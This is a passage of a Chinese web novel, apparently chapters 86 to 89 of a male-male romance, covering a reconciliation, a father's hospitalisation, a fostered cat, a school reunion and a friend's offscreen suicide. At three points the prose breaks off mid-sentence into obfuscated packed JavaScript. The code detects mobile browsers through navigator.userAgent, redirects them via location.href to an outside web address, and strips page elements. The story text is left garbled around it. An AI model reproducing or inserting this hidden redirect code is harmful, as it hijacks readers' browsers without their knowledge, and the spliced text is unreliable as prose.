电梯门关上,镜面里映出他自己的脸。他忽然有点后悔穿这件卫衣来的。太随便了。但转念一想,又不是来约会,穿什么都一样。 再说,谁约会去公司啊。 电梯停稳,门开了。走廊很空旷,助理工位也是空着的,像是被特意清过场。 尽头那扇门虚掩,透出一线暖黄的灯光。 陈温在原地站了两秒,然后走过去,敲了一下。 “进来。” 沈泽许从屏幕前抬起头。 门响的时候他正盯着电脑,视线抬起来,刚好接住陈温的目光。 沈泽许笑了一下,把人请进屋,倒了杯白开水放在他手边。 “现在开始?”沈泽许在单人沙发上坐下,语气认真,像真的在等一场预约好的咨询。 陈温一愣。 他还真要做咨询啊? 自己什么都没准备。没有计时器,没有记录板,连张空白A4纸都没有。 “你坐。”沈泽许抬了抬下巴,示意他对面的位置,“来都来了。” 陈温犹豫两秒,还是坐下了。他下意识从包里摸出手机,打开备忘录。 职业病,改不了。 “说说吧,”陈温尽量让自己的语气听起来像个专业人士,“哪里不舒服。” “失眠。”沈泽许说,“入睡困难,早醒,醒后再也睡不着。” 陈温低头认真打字,随后问道:“持续多久了。” “六年。” 陈温没抬头:“有特定诱因吗?” 沈泽许看着他,没说话。 陈温等了几秒,抬起眼。两道目光撞在一起,谁都没躲。 “……有。”沈泽许说。 陈温把手机屏幕按灭,放在茶几上,深吸了口气,问道:“你找我来,到底想谈什么?” 沈泽许没有立即回答问题。他端起那杯白开水,喝了一口,又放下。 “那本日记,”他说,“我看了。” 陈温的手指蜷了一下:“看完了?” “……嗯。” “写得很烂。”沈泽许说,“错别字很多。” 陈温瞥开了视线,没接话。 “但是我看懂了。” “你说幸福形容不出来,”沈泽许的声音很低,像是怕惊动什么,“所以后面每一页都很短。” 陈温垂下眼睛,看着杯子里那圈细小的涟漪,心里却是山崩地裂的巨响。 “我猜也是。”沈泽许说,“不然以你话那么多的性格,怎么可能没话说。” 陈温喉头滚了一下,反驳:“……你话才多。” 沈泽许不回答,盯着他整个人看。过了很久,陈温才开口,声音有点哑:“那你后来,为什么没来找我。” “……我以为你不想见我。”沈泽许沉默了会说。 陈温抬起头。 “日记里你说,分开是唯一的解法。”沈泽许看着那杯已经凉掉的水,“我看了很多遍。每一遍都觉得,你是在让我别去找你。” 陈温张了张嘴,想说什么。但他发现,自己当年写那些日记的时候,好像确实也是这个意思。 他不知道该说什么,只好又把那杯白开水端起来,喝了一口。 凉了。 “我……”陈温张了张嘴,不知道从何说起。 想说的话太多了,每一句都很重,压在舌根一个字都翻不动。重到他怕一开口,就会把什么好不容易接起来的东西又压断。 可是他又不想错过。 不想再一次,把沈泽许推开。 手机铃声突然响起来,陈温拿起来一看。 是慕雪打来的。 他接起来,只听了两秒,脸色就白了。 “我爸……进医院了?” 沈泽许看着他,眼神很沉,眉头紧锁着。他起身拿起车钥匙,另一只手已经搭在了陈温肩上,力道很稳。 “走,我送你。” 陈温没推辞。他站起来,腿有些软,被沈泽许半扶半带着往外走。 电梯里没有人。沈泽许按了地下二层,数字一层层往下跳,陈温盯着那红色的数字,一句话也说不出来。 沈泽许安慰似地抚摸他的头发,在电梯门打开的时候,低低地说了句: “别担心。” 上了车,引擎发动的声音填满了沉默。 陈温靠着椅背,看着车窗外飞速后退的街灯,眼眶一阵阵地发酸。 “他近几年身体一直不太好……”他开口,声音低哑,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈温在床边的椅子上坐下,又给陈林峰盖紧被子。病房里只亮着一盏床头灯,昏黄的光落在那张苍老的脸上。 过了很久,陈林峰没什么力气地开口:“吃了没有?” 陈温垂下眼:“吃了。” 走廊安静下来。 慕雪看了沈泽许一眼,抬手示意他在旁边坐下。不是客套,而是一个长辈自然而然的姿态。 “你是沈泽许吧。”她说。 沈泽许点了一下头。 “陈温提过你。”慕雪没有看他,目光落在病房那扇紧闭的门上,“很早以前。” 沈泽许露出认真听讲的模样。 “六年前,我生了一场病。”慕雪像在说一件很久以前的事,“因为身边没有照顾,他爸就马不停蹄地把人带回来了。” “后来陈温进了病房,扑在我怀里哭了很久。” 沈泽许盯着一个地方不知道在想什么,抓着那件衣服紧了又紧。 “他说他很痛苦,不知道该怎么办。他说他好像把一个人弄丢了,找不回来了。” 慕雪转过头,看着沈泽许。 “那是我第一次见他那样哭。我跟他说,不要听,不要看,不要怕。也是从那以后,他开始叫我妈妈,彻底接纳了我,不过有时候还是会叫我阿姨的。” 她把目光收回,落在走廊尽头那盏指示灯上。 “他其实一直都知道自己想要什么。只是不敢要。” 沈泽许抿着唇,但似乎下定了什么决心。 病房里隐约传来说话声,隔着门,听不真切。 慕雪的目光落在沈泽许搭在腿上的手上,然后毫无预兆地,伸手把那只手捞了过来。 沈泽许微怔,但没有抽开。 慕雪低着个头,像模像样地翻看他的掌心,拇指在他生命线、事业线上各划了一道,又去捏他的指节。 动作自然得仿佛认识他很多年。 “手挺好看的。”她评价。 “……谢谢。” “就是太凉了。”慕雪把那只手握紧了些,放下,“年轻人,别仗着身体好就不当回事。” 沈泽许垂眼,看着自己被捏过又放回原处的手。 “……记住了。” 陈温在病床边坐了一会儿。 陈林峰盯着天花板的某处,问了几句工作上的事,又问他最近有没有好好吃饭。陈温一一答了,话很短,像这些年父子间惯常的对话节奏。 “行了。”陈林峰闭了闭眼,语气还是硬的,“回去吧。别耽误工作。” 陈温没动。 “我一把老骨头了,没什么好担心的。”陈林峰又说。 陈温看着这个有些别扭的男人,有点想笑,但是没笑出声,站起身,把椅子推回原位。 临走前,陈林峰忽然开口:“刚才进门那个……” 陈温停住。 陈林峰沉默了很久,久到陈温以为他不会说下去了。 “……做你自己想做的。” 陈林峰不习惯说这种话,每个字都落得很慢。 陈温没有回头,拉开门,走出去,把门轻轻带上。 87. 怪可爱的 实在是太晚了,沈泽许和陈温在附近订了酒店。 因为客人多,没有单人房了,只剩双人房。两人明早还要上班,就先将就了。 陈温洗完澡出来,听见沈泽许在外面打电话。 “老板,你也太过分了,”女助理的声音从听筒里漏出来,“你走了工作全丢给我。您知道的,我平常不加班,要不是看在这份热——” “加工资。”沈泽许说,“再加一个星期的带薪休息。” 对面静了一下,然后爆发出强有力的笑声。 “啊哈哈哈哈哈哈哈!!!” 那笑声怎么说呢,像几百只猩猩同时从树上荡下来。 陈温擦头发的手顿了顿。 “那啥我接着加班了,”女助理恢复正常,干练、冷静,仿佛刚才那个狂野笑声是别人发出的,“祝您有个香艳的夜晚。” 电话挂断。 沈泽许把手机放回桌上,一抬眼,正对上陈温的目光。 两人都没说话。 “那个。”沈泽许开口。 “……嗯。” “她开玩笑的。” 陈温没接话,低头继续擦头发。 见他擦得慢,沈泽许从柜子边找出吹风机,插上电,绕到他身后。 热风涌出来,手指穿过发丝,动作有些生疏,但很轻。 六年前也是这样。 那时陈温头发没这么长,洗完澡懒得吹,沈泽许看不下去,把人拽过来按在沙发上,一边抱怨一边给他吹。手法比现在熟练,话也比现在多。 陈温垂下眼,看着自己的手。热风烘得头皮发暖,恍惚间分不清今夕何夕。 树越要成长,它的根就要扎得更深。 表面什么都不一样了,可他心里知道,自己还是从前那个人。面对沈泽许时,还是一样藏不住,装不了,嘴硬心软得一塌糊涂。 发丝被指腹拨开,吹到七八分干。 陈温一直盯着床头那盏灯。余光里,沈泽许的嘴唇动了动,像说了什么。 吹风机嗡嗡地响。 他没听清,也不敢追问。 两人躺在同一张床上,背对背,明明很近,中间却像隔了一条银河。 很久没有人说话。窗外偶尔有车驶过,轮胎碾过路面,带起一瞬的光影。衣料摩擦的声音,被子的窸窣,还有彼此压得很轻的呼吸。 陈温试探出声:“沈泽许。” 跟预料到的一样,沈泽许也没睡:“……嗯。” “你觉得我这个人怪吗?” “怪。” 陈温一怔。 “怪可爱的。” 沈泽许的声音带一点懒,像从喉咙里慢慢滚出来的。没有笑,但陈温就是知道他在笑。 “……我认真的。” “我也认真的。” 陈温噎住,他转过身,想说点什么反驳,整个身子一僵,沈泽许根本没有背对他。 他侧躺着,一只手枕在脸侧,眼睛在黑暗里看着他。不知道看了多久。 明明很黑,窗帘严丝合缝,连路灯都不容易透进来。 但陈温就是知道他在看他,也知道他在笑,笑自己被一句话堵得说不上来、下意识翻身又不知如何收场的那个样子。 “……你看什么。”陈温硬邦邦地问。 沈泽许没回答,他的眼睛弯了一下,跟年少时代的他别无差距。 陈温把身子转回去了,动作幅度不大,像在表达毫无攻击力的不满。 床单被他拽走一小截,沈泽许没抢回来。 因为他把人拽了回来。 “躲什么?”他问。 陈温眼睛偏向某一处,就是不看他。 “你经常接上下班的那个女生是谁?” 沈泽许顿了一下:“有这回事吗?” “有。”陈温说,“听你们前台说的,说我是你的新欢。” 沈泽许看着他,不假思索:“假的。” “不信。” “不信还问?” 陈温又噎住。 他终于意识到自己现在的处境。没有身份,没有立场,还要在这里盘问对方。有点儿像网上说的那种无能的丈夫,明知理亏还要嘴硬。 “……算了,”他闷声说,“我困了。” 他刚想翻身,被沈泽许一把拦住。 “打个电话问问不就行了。” “什么意思?” 沈泽许拿过床头的手机,开了一盏小夜灯,低头操作了两下,然后把屏幕递到陈温面前。 是一串号码,没有备注。 “你有病啊!”陈温吓了一跳,“人家在睡觉怎么办!” “这个点她应该还在加班。” 电话拨出去,嘟了很久。陈温攥着被角,心想赶紧挂断,赶紧挂断…… 那边接了。 “什么事啊小沈。” 这声音…… 陈温一愣,说道:“晚枝姐?” 对面也顿了一下,似乎在辨认这个忽然冒出来的声音是谁,然后轻轻地,笑了一声。 “哦……原来如此。” 她语气里带着了然,又带着一点年长者看破不说破的纵容。 “什么事,这么晚打给我?” “没什么,”沈泽许说,“就是想问问,你口红是不是掉我车上了,后座好像有个金属的东西在反光。” , “是吗?”陆晚枝那边传来翻动的声音,窸窸窣窣的,“没有啊……我常用的口红没有金属的部分。” “哦,”沈泽许眼睛不眨地撒谎,“那可能是我看错了。” 陈温却不管那么多。他一把抢过沈泽许手里的手机,贴到耳边。 “晚枝姐!你最近怎么样?” “还是老样子。”她的声音温和,“你呢?” 陈温支支吾吾:“我也……还行。” “她最近要召开发布会,”沈泽许靠在床头,慢悠悠地补充,“展示最新的软件,请了好多媒体。” “感觉好厉害啊。”陈温说。 “没什么厉害的。”陆晚枝的声音忽然低了一瞬,听不出是什么情绪。 两人又聊了几句,不痛不痒。 那头传来翻东西的声音,陆晚枝像是在找什么,又没有找到。 “对了,”她说,“我家猫最近没人帮忙看,本来托了朋友,她临时出差了,最近在找新的委托人。” 陈温眼睛亮了一下。 “是大少吗?” “嗯。你还记得它啊。” 陈温当然记得。那只跟煤气罐大小的田园猫,当年寄养在他那儿时,每晚都要踩着他胸口睡觉。 “我帮你养,”陈温几乎是脱口而出,“我最近下班都有空。” 陆晚枝沉默了一秒:“……行,晚点加我微信,把地址发我吧。明天我让人送过去。” 挂断电话,陈温才发现自己还攥着沈泽许的手机。他把手机递回去,眼睛还亮着。 沈泽许接过来,看了他一眼:“这么高兴。” 陈温没理他,翻了个身,背对着,但被子没拽走。 “……好久没见大少了。”他闷声说。 沈泽许看着他的后脑勺,说:“那看见我也会这样高兴吗?” “那不一样。” “哪里不一样?” 陈温没什么语气地说:“沈泽许,你就是故意的吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176230|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我不这样,”沈泽许说,“你能不躲我吗?” 陈温心里那团火腾地烧起来。他一把掀开被子,翻身跨坐上去,膝盖抵在男人腰侧,居高临下地俯视。他没有看沈泽许是什么表情,盯着那人的嘴唇。 那张嘴,六年前说“我不同意”,六年后说“怪可爱的”,刚才说“你不躲我吗”。 陈温低头,一口咬上去。 不是吻。是啃,是泄愤,是把这六年攒下来的委屈、不甘、想念、怨气,一股脑地砸在对方唇上。 他舔了一下,又咬了一下。 像小猫跟毛线球较劲,打不过也要打。 沈泽许没有动。任由他在自己嘴唇上胡作非为。只是在他咬得太用力时,低低地“嘶”了一声。 陈温停了下来,他喘着气,撑在沈泽许上方,胸口的起伏压不住。 “……你怎么不躲。” 沈泽许看着他。 “你没让我别躲。” 陈温又低这头,这次轻了一点,碰到就立马离开了。他撑在他上方,说:“沈泽许,你其实恨死我了吧。” 沈泽许一眨不眨地看着他,陈温眼下的那颗痣让人忍不住往他眼里看,明净又深邃:“我从来就没有讨厌过你。” 陈温心里被猛地一击,像有什么东西排山倒海般跳动,他没来得及看清那是什么。 整个人被压了下去。 沈泽许抢到了下个接吻的主动权。 这个吻和刚才不一样,是真正的、完整的、包裹住他的吻。 像怕惊动什么,又像终于不必再怕。 第二天一早,沈泽许就醒了。等他把出门前的事都收拾妥当,陈温才慢悠悠睁开眼。 全程被伺候着洗漱完,陈温也没表现出什么抗拒,两人就这么上了车,往幼儿园开。 到了地方,陈温下车往里走。他以为沈泽许会停在门口,毕竟保安通常会拦下陌生访客。 但奇怪的是,保安今天只是远远看了一眼,什么也没说。 大概是因为看到他俩从同一辆车下来。 不对劲吧?不是说不让外人随便进吗? 陈温转头,没好气地瞥他一眼:“你跟着我进来干嘛?” “谁跟着你了,我来看看见初。” 陈温懒得再理他,直接让人回去。但沈泽许就是不动,怎么说都没用。 两人正僵持着,李见初跑了过来。小孩儿一看这架势,以为沈泽许在欺负陈温,立刻冲上前护着人,奶声奶气地喊:“陈老师是我的!不许欺负我的陈老师!” 沈泽许挑了挑眉,低头看她一眼,二话不说伸手揽过陈温的肩膀,挑衅似的回了一句:“谁说的?” 满脸写着:你再说一遍试试。 李见初小脸一垮,抓着陈温的衣角不撒手,委屈得眼眶都快红了:“陈老师不是说见初最可爱了吗?陈老师不喜欢见初了吗?” “喜欢啊。”陈温弯起嘴角,一把将小家伙捞起来抱进怀里,“见初最乖了。” 得到了肯定答案,李见初立马来了精神。她趴在陈温肩膀上,扭头看向沈泽许,眼神里写满了“听到没,陈老师最喜欢的是我”——小表情要多得意有多得意。 沈泽许干脆利落地凑过去,在陈温脸上亲了一口。亲完还不忘挑着眉看向李见初,那表情明摆着是在挑衅——看吧,我能亲到,你呢? 换作别的小孩,这会儿大概已经委屈得眼泪汪汪了。但李见初显然不是普通小孩。 她二话不说,伸长脖子也往陈温脸上亲了一口。目标达成,她学得有模有样,也挑起小眉毛,回敬沈泽许一个一模一样的表情。 陈温又好气又好笑,抬手锤了沈泽许一拳:“别教坏小朋友。” 88. AK主任 李见初立刻有了靠山,学着陈温的语气,小大人似的来了一句:“就是,别教坏小朋友。” “你……” 沈泽许刚要开口,陈温已经抢先一步,伸手把他往外推:“行了行了,你快回去吧,跟个小屁孩儿斗嘴,丢不丢人。” 沈泽许被推着往外走,还想再争辩两句,但陈温没给他机会。 暗处,苏颜晓梦终于松了口气。 她站在角落里,目光落在那三个人身上——沈泽许被推出门外,陈温抱着李见初站在原地,小孩还在得意地朝门外挥手。 看着这一幕,她的思绪忽然飘远了,飘回很久很久以前。 那天是元旦晚会。苏颜晓梦原本想找沈泽许聊聊天,顺便把准备好的元旦礼物送出去。他朋友说他去厕所了,她正好也想去——说不定能在路上碰见。 刚走到厕所,她就愣住了。 陈温跟沈泽许抱在一起。 她大脑一片空白,不知道怎么回事,手已经掏出手机拍了下来,然后她转身走了。 跑出去之后她完全不知道该怎么办,只能去找她最好的朋友时染。她一股脑哭诉着自己看到的事,可时染听完,反应却异常平静,只是说:不要再管那个男的了。 苏颜晓梦觉得不对劲。 她家管得严,在学校待着总有种喘不过气的感觉,时染以前就给她出主意——找个目标,或者追个人玩玩,说不定日子就没那么难熬了。 她听了时染的建议,选了沈泽许当目标。 可从那以后,时染就不高兴了。苏颜晓梦那时候不明白,还问她:“不是你让我找目标的吗?” 时染沉默了很久。最后像是忍无可忍似的,说:“我是让你把我当目标。我喜欢你。你还不清楚吗?” 苏颜晓梦愣住了,等她回过神来,已经跑了。 没想到的是,杨子龙听到了她们的对话。 但他没管两人之间的事,转头找时染要那张照片。时染不知道是还在气头上,还是也看不惯沈泽许他们,居然偷了苏颜晓梦的手机,把照片发了出去。 这都是后来才知道的事了。但她一直没想明白,那张照片为什么没有传开。 以当时的情形,它本该在某个小圈子里悄悄流传,或者更糟——被传到谁都不敢想的地方。但它没有。它像被什么东西按住了,沉在某个没人找得到的角落。 她不知道是什么力量阻止了这一切。 也许是时染最后那点理智,也许是杨子龙拿到照片后又改变了主意,也许只是运气。但她总觉得,不像。 那种感觉很奇怪,像是有什么东西,在所有人都没注意的时候,悄悄伸出手,把那张照片按住了。 不管怎样,它终究没有伤害到他们。这就够了。 她和时染大吵一架,最后不欢而散。之后很长一段时间,她整夜整夜睡不着。 她反复想那张照片,想它会给那两个人带来什么影响。后来听说他们分开了,她更加认定是自己的错。 如果不是她拍了那张照片,如果不是她没看好手机…… 几乎每一天,她都在失眠。有时候半梦半醒间,甚至会幻想着陈温来找她对质,质问她为什么要拍那张照片。 可陈温怎么会来质问她呢,他什么都不知道。以后,她也不想让他知道。 现在看到那两个人重新站在一起,苏颜晓梦想,今晚应该能睡个好觉了。 - 陈温一进门就看到了那只宠物箱。 陆晚枝的大少被关在里面,蔫蔫地趴着,看见他回来也没什么反应。他把猫连带箱子一起提进屋,打开笼门,想把这祖宗放出来透透气。 按往常的经验,大少这会儿应该已经黏上来蹭他裤腿了。但今天没有。 大少从箱子里慢慢走出来,四下嗅了嗅,警惕地打量着这个陌生的环境。陈温刚伸出手想摸它一下,它就猛地往后一缩,喉咙里发出低沉的哈气声,爪子差点挠到他手上。 然后它一溜烟跑没影了。陈温找了半天,才在沙发底下看见一团缩着的毛球。 他有点无奈,蹲下来往里面看:“应激了?” 大少不理他,只露出半个脑袋戒备地盯着他看。 算了。陈温没再勉强它,起身把门窗都检查了一遍——关紧,省得它真跑了。然后从宠物箱里翻出陆晚枝准备的过度粮,找了个小铁盘,倒满,放在沙发边上。 一一收拾完大少的“行李”,陈温这才发现,陆晚枝几乎把全部家当都搬过来了。 猫粮、猫砂、猫抓板、猫窝、逗猫棒、小玩具……堆了满满一地,跟要把大少过继给他似的。 陈温看着这阵仗,忽然有点好笑。陆晚枝这是打算让猫在他这儿长住? 他没再去打扰大少,就让它自己慢慢适应。 陈温刚吃完晚饭,躺在沙发上刷手机。正刷到一半,脚踝突然被一团软乎乎的东西抱住了。 他吓得差点把手机扔出去,低头一看,大少不知道什么时候从沙发底下钻出来,两只前爪死死抱着他的脚踝,一副“我抓住你了”的架势。 这已经是第五次了。 大少适应环境之后,就开始这么折腾人。也不知道是在跟陈温玩,还是单纯不喜欢待在这儿想抗议。每次都是悄无声息地冲过来,抱住他的脚踝或者小腿,抱一会儿又自己跑开。 虽然从来没真咬过,但每次冷不丁被一团毛茸茸的东西袭击,陈温还是会被吓一跳。 他从沙发上坐起来,开了个猫罐头递过去。大少凑过来闻了闻,居然扭头走了。 陈温愣了一下。以前他只要一开罐头,大少隔着两个房间都能闻着味儿冲过来,吃得哼哧哼哧的。 现在罐头摆在面前,它居然没兴趣? 他想了想今天的不寻常,给陆晚枝发了条消息,问大少是不是不舒服。 对面没回。 也许在忙吧。他记得沈泽许提过,今天陆晚枝要开发布会。 - 两周的幼儿园活动结束了。 陈温站在教室门口,跟孩子们一一道别。小家伙们一个个眼圈都红了,有的已经忍不住开始掉眼泪,抱着他的腿不撒手,哽咽着喊“陈老师不要走”。 李见初是哭得最凶的那个。 唯独王景行不一样。 他站在人群外面,安安静静地看着这场告别大戏,完全没有上前打扰的意思。别人梨花带雨地求陈老师留下来,他就在旁边看着,表情淡淡的,像是在看一场与自己无关的演出。 毕竟报告都做好了,确实是时候离开了。陈温收回视线,弯下腰,很正式地跟每个孩子说了再见,然后答应李见初有空就来看她。 周末,几人约好了一起去看望楚婷。 陈温和沈泽许到得最早。刚在门口站定,叶萧云就来了。 他现在整个人黑了一个度,皮肤晒得发亮,一见面就自己先解释了:“别问,问就是在乡下做基层干部,天天跑田埂上晒的。” 话音刚落,李欣桐也到了。 女大十八变这话真不假,她现在越来越好看了。头发留长了,垂在肩头,眉眼间褪去了少女时期的稚嫩,多了几分锋利的锐气。站在那儿,整个人气场都不一样了。 林宇舟去接李清依,路上堵车了,一时半会儿到不了。 几个人闲着没事,就聊起了家常。叶萧云突然开口:“你们前几天听说没,最近有个出车祸死人的事?” 陈温摇头:“没注意。” “你们猜那人是谁?” “谁啊?”沈泽许随口接了一句。 “杨子龙。”叶萧云压低了声音,“就那个小霸王。” “啊?” “他老婆怀孕了,就高中谈的那个……那个小珍。他太高兴了,喝了点酒,上路翘头撞树上了。” “别乱说。”李欣桐皱着眉头打断他,“他那不是酒驾,是车子打滑了。” 她现在是警察,对这种说法格外敏感,下意识就要纠正。 叶萧云耸耸肩:“反正人没了。哎——真不敢想他老婆怎么办,怀着孕,一个人……” 李欣桐没好气地瞥他一眼:“管好你自己的事,别瞎操心。” 叶萧云被噎了一下,讪讪地摸着鼻子:“行行行,操心我自己,操心我自己。” 没一会儿,人都到齐了。几个人正要往大门走,却发现门口新装了东西——一台刷脸闸机,屏幕上还亮着待识别的界面。 他们愣在原地,面面相觑。 “这什么时候装的?”叶萧云嘀咕。 保安从岗亭里探出头来:“新装的,现在怕学生乱跑,家长也管不着,学校统一装了这个,进出都得刷脸。” 几个人轮番往机器前一站。 “陌生人警告”——屏幕冷冰冰地弹出四个字。 保安看了一眼:“你们外来的吧?现在规定,外面来的人要进去,得有班主任或者老师带着才行。” 问题是,他们本来就是偷着来的,怎么可能让楚婷知道?几个人站在门口,大眼瞪小眼。 叶萧云眼珠一转,把几个人往远处拉了拉,压低声音说:“学校右侧那个围栏,有一截能翻进去。那边没尖刺,外面还垫了几块砖。” 几人绕到右侧一看,还真是。 围栏有一小段光秃秃的,上面没装防盗尖刺,墙根底下不知道谁堆了几块砖头,正好能垫脚。 一个接一个,鬼鬼祟祟翻进去。落地的时候有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184437|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点崴了脚,憋着笑扶住旁边的人。 “我们这样好傻。”李欣桐小声说。 “傻就傻吧,总比进不去强。” 打听了一下,楚婷正在高三的一个班上课——也是巧,正好是上课时间。 学校这几年确实改善了不少,老教学楼重新刷了漆。花坛也修整过,路也平了。 几个人正往教学楼那边走,拐角处突然冒出一个熟悉的身影。 地中海,黑脸,手里拿着个保温杯——是当年的教导主任! “那几个!没穿校服的!站住!”AK主任眼尖,隔着老远就吼上了,那声音穿透力极强,像机关枪扫射似的,突突突往这边灌。 几乎是在他开口的那一瞬间,几个人同时撒腿就跑。 没有一个犹豫的。多年训练出来的条件反射,哪怕现在已经毕业工作了,听到那声音腿还是比脑子快。 等AK主任追到拐角,人早就没影了。老头儿气喘吁吁扶着墙,保温杯里的水晃出来一半,嘴里还在骂:“跑、跑得比兔子还快……别让我逮着……” 当年2班的好学生们,现在一个个翻墙逃监控躲主任,心里别提多刺激了。 他们走在教学楼走廊上,经过的教室里不断有学生扭头看他们。 六个没穿校服的人,鬼鬼祟祟往高三那边摸,确实扎眼。 到了楚婷的教室门口,她正背对着大家在黑板上板书,粉笔字写得刷刷响。 几人交换了个眼神,猫着腰,一个接一个从后门溜进去。 后排的学生齐刷刷回头,眼睛瞪得像铜铃,盯着这几个不速之客。 楚婷没回头,手里的粉笔也没停,但声音已经严厉起来:“站住。迟到了还不从前门进来?” 她写完最后一笔,拍拍手上的粉灰,皱着眉缓缓转过身,随后愣住了,粉笔差点从手里滑下去。 “你们……”她张了张嘴,声音卡在那儿。 后排几个学生已经开始憋笑。 楚婷盯着面前这几个熟悉又陌生的人——有晒黑的,有变漂亮的,有看起来成熟了的,但那些表情,那些站姿,跟十年前一模一样。 她愣了好一会儿,忽然笑了:“都给我出去,从前门重新进!” 楚婷的视线从每个人脸上慢慢扫过,上上下下,里里外外,像要把这些年的变化都看进眼里。然后她开口,一个一个名字念过去,一字不差,一个都没漏。 念到最后一个——“陈温”。 她顿了顿,眉眼间浮起一丝复杂的情绪,还有一点点不易察觉的怅然。 “头发留长了啊。”她说。 陈温有些不自在地抿了抿唇:“嗯……懒得打理,就这样了。” “挺好看的。” 楚婷又挨个问了一遍近况,听几个人都说过得不错,便笑着让他们给这届学生说几句,当是过来人的鼓励。 首当其冲被点名的,是当年的年级第一沈泽许。 台下响起一片掌声。沈泽许站在讲台边上,不急不缓地讲起高考和学习的事,语气从容,像在聊一件再平常不过的事。 陈温站在人群里,盯着他看,神情有些入神。 其他几人去找别的老师叙旧了。楚婷走过来,轻拍他的肩:“跟我来。” 陈温跟着她进了办公室。 楚婷走到柜子前,打开,从里面拿出一张奖状——优秀毕业生,落款是好几年前的。 “你当年没来拿,”楚婷把奖状递给他,“我就想着,得亲手给你。说不定哪天你回来看看我这个老师,就能带走了。” 陈温接过奖状,低头看着那张已经有些泛黄的纸。 “这么多年了,”楚婷笑了笑,“欢迎回家。” 隔壁办公室,语文老师书缘正端着茶杯往外走,一抬头,正好撞见这几个熟悉的身影。 她愣了一下。人是对得上号的,但名字在嘴边转了好几圈,愣是没想起来。 叶萧云眼尖,看出她在那儿认人,也不着急介绍,反而有意无意地提起林宇舟和李清依的事。 “老师您是不知道,他俩现在可腻歪了。天天一起上下班,林宇舟还天天给李清依带早餐,我都怀疑他是开早餐店的……” 语文老师听着听着,嘴角慢慢勾起来,眼里是藏不住的笑意。 “挺好挺好,”她点点头,“要不哪天老师请你们吃顿饭?” “那怎么行!”林宇舟连忙摆手,“哪能让老师请啊!” “就是啊。”李清依也跟着附和,脸已经开始发烫。 老师笑着看他们俩,忽然话锋一转:“那我什么时候能吃上你俩的喜酒呢?” 两人同时愣住了,然后齐刷刷低下头,从耳朵尖红到脖子根。 89. 说好了 这几天,大少越来越不对劲了。 整天整天地嚎,不是那种饿了的叫,也不是想玩的叫。就是扯着嗓子嚎,嚎得抑扬顿挫,嚎得陈温脑仁疼。 更奇怪的是,陆晚枝一直联系不上。消息发过去石沉大海,电话也打不通。 陈温实在受不了了,一个电话把沈泽许叫过来:“你快来看看它怎么回事。” 沈泽许蹲在沙发旁边,盯着大少看了半天。大少也盯着他看,然后继续嚎。 “……我又不是兽医。”沈泽许站起来,摊手。 陈温靠在沙发上,没接话。 其实他知道沈泽许帮不上什么忙,但就是想找个人陪着。 沈泽许看了他一眼,重新蹲下去,伸手摸了摸大少的脑袋。 大少不嚎了,歪着头看他。 但陈温一伸手,大少立马变脸。脖子往后一缩,喉咙里开始发出那种警告的呼噜声,爪子蠢蠢欲动,一副“你再过来我就不客气了”的架势。 “它是不是对我有意见啊?”陈温收回手,委屈巴巴地看着沈泽许。 沈泽许憋着笑:“你做过什么对不起它的事没?” “我怎么可能——”陈温话说一半,视线落在大少身上,忽然停住了。 他盯着某个位置,仔细看了看,嘴角开始控制不住地上扬。 “噗。” 沈泽许顺着他的视线看过去,也明白了。 “小太监。”陈温说,语气里带着点幸灾乐祸。话音刚落,大少猛地扑过来,差点又挠到他。 “要不你摸摸我吧,”沈泽许凑过来,语气认真,“我不会咬人。” 陈温斜了他一眼,没搭理。 下一秒他就被扑倒在地毯上。 沈泽许膝盖顶开他的腿,整个人压下来,低头吻住他。 陈温抿着唇,不肯松口。沈泽许也不急,就那么一下一下地啄,舔着他的唇缝,又湿又麻。酥痒的感觉从嘴唇蔓延开,陈温忍不住张开嘴,立刻被趁虚而入。 大少端端正正坐在旁边,歪着脑袋,看得津津有味。 “别亲了……”陈温偏开头,“听说猫能看懂人在干什么……” 沈泽许低头看他,笑了:“看懂就看懂呗。” 他又亲下去。 没一会,沈泽许的手机突然响了。他停下来看了一眼,眉头微微皱起:“陆晚枝。” 陈温捂着嘴,声音还带着点喘:“还不快接。” 沈泽许接通电话,那边不知道说了什么,他的表情一点一点沉下去。 挂了电话,他沉默了几秒。 “怎么了?”陈温察觉到不对。 “陆晚枝……”沈泽许说,“在家割腕了,人没了。” 接下来的几个小时,两个人几乎脚不沾地。 赶到陆晚枝住处的时候,楼下已经停了警车。现场拉了警戒线,有警察在做初步勘察。 陆晚枝没有父母,也没有伴侣,作为朋友,他们得帮忙处理后事。 签了一堆文件,回答了一堆问题,联系了殡仪馆,又得等警察的进一步通知。 凌晨两点多,一个警察拿着文件袋走过来。 “现场勘查基本完成了。有份遗书,你们看看,确认一下。”他把遗书递过来,“另外有个情况需要跟你们说明一下。” 沈泽许接过遗书,陈温凑过去看。确实是陆晚枝的笔迹,内容不长,大意是说累了,不想再撑了。 警察接着说:“根据我们调查,死者割腕自杀之后,有个小偷溜进来了。” 两人抬起头。 